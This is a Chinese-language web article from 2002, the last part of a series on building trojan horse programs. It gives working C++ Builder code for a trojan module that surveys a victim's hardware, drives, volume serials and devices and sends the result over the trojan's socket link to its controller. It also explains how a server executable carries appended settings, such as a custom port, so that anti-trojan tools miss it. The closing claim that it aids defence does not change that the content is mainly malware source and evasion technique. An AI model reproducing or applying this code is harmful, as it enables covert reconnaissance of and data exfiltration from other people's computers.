[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
透視木馬程序開發技術(下)
本文出自:http://sinbad.zhoubin.com 作者: 大皮球 (2002-11-21 06:02:01)
6、目標機器情況的獲取

  相對以上幾部分來說,這裡實現的方法簡單多了,這一段內容會比較輕鬆,一般獲取
機器情況的方法是調用相關的API,這一點上是和應用程序很相像的。

AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
        //TODO: Add your source code here
        //獲得CPU型號
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理內存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用內存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0未知盤、1不存在、2可移動磁盤、3固定磁盤、4網絡磁盤、
//5CD-ROM、6內存虛擬盤
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++)  {//循環檢測A∼Z
        type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁
盤類型
        if(type==0){
                cs="未知類型磁盤:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        else if(type==2){
                cs="可移動類型磁盤:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        else if(type==3){
                cs="固定磁盤:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        else if(type==4)       {
                cs="網絡映射磁盤:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        else if (type==5)        {
                cs="光驅:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        else if (type==6)        {
                cs="內存虛擬磁盤:"+String(name)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }


        if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,25
5,&sno,&maxl,&fileflag,filename,100))        {
                cs=String(name)+"盤卷標為:"+String(volname)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                cs=String(name)+"盤序號為:"+String(sno)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte
,&free,&cluster); //獲得返回參數
                totalspace=int(cluster)*byte*sector/1024/1024; //計算總容量
                freespace=int(free)*byte*sector/1024/1024; //計算可用空間
                cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalsp
ace)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(frees
pace)+"\n";
                fwrite(cs.c_str(),cs.Length(),1,fp);
                }
        }
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形設備信息
mididevice=(int)midiOutGetNumDevs(); // MIDI設備信息
if (wavedevice!=0){
        waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
        cs="當前波形設備:"+String(wavecap.szPname)+"\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
if (mididevice!=0){
        midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
        cs="當前MIDI設備:"+String(midicap.szPname)+"\n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
long double tcs;
long double tc;
long int bpp,cp;
cs="當前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)
+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //計算色彩的梯度數
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //計算色深
AnsiString sss;
sss=bpp;
cs="當前色深為:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);

buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
        sock->SendStream(ms);
        }
catch(Exception&e) {
        }
}



  上面一段程序,基本上把相關的系統信息都取到了。

7、服務器端程序的包裝與加密

  用過冰河的人都知道,冰河允許用戶自定義端口號。這樣做的目的,是為了防止被反黑
程序檢測出來,這種功能是如何實現的呢?

  首先讓我們來做一個實驗:

進入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一個文本文件Test.Txt,其內容為“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)運行Server.Exe



  怎樣?是不是發現Server.Exe仍然可以運行呢?木馬服務器端自定制的奧秘就在這裡
:首先生成了一個EXE文件,這個EXE文件裡有一項讀取自身進程內容的操作,讀取時,文件
的指針直接指向進程的末尾,從末尾的倒數N個字節處取得用戶定制的信息,比如端口號等,
然傳遞給程序的相關部分進行處理。這裡不給出相關的代碼部分,有興趣的朋友請參考一
些文件打包程序代碼,它所使用的技術是大同小異的。



8、總結

  以上講的幾點技術,基本上包括了所有第二代木馬的特點,個別的木馬程序支持服務器
列表,宏傳播等,實現上大同小異。隨著技術的不斷更新和發展,相信離第五代木馬出現的
日子已經不遠了,黑與反黑,如此往復的的進行下去,看來反黑工作要走的路還很長,從根
本上防止木馬,也只有從我們自身對木馬的認識開始,希望這篇文章在您閱讀之能帶給您
一些反黑技術上的幫助。
  (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
透視木馬程序開發技術(中) (2002-11-20 06:02:00)
透視木馬程序開發技術(上) (2002-11-19 06:02:01)
特落伊木馬常用的Port (2001-05-21 08:10:00)
揭開木馬的神秘面紗(三) (2001-05-20 13:04:01)
揭開木馬的神秘面紗(二) (2001-05-20 12:10:00)
揭開木馬的神秘面紗(一) (2001-05-20 11:00:00)
小木馬cnc源代碼及開發文檔 (2001-04-19 12:38:07)
 

★  樊強制作 歡迎分享  ★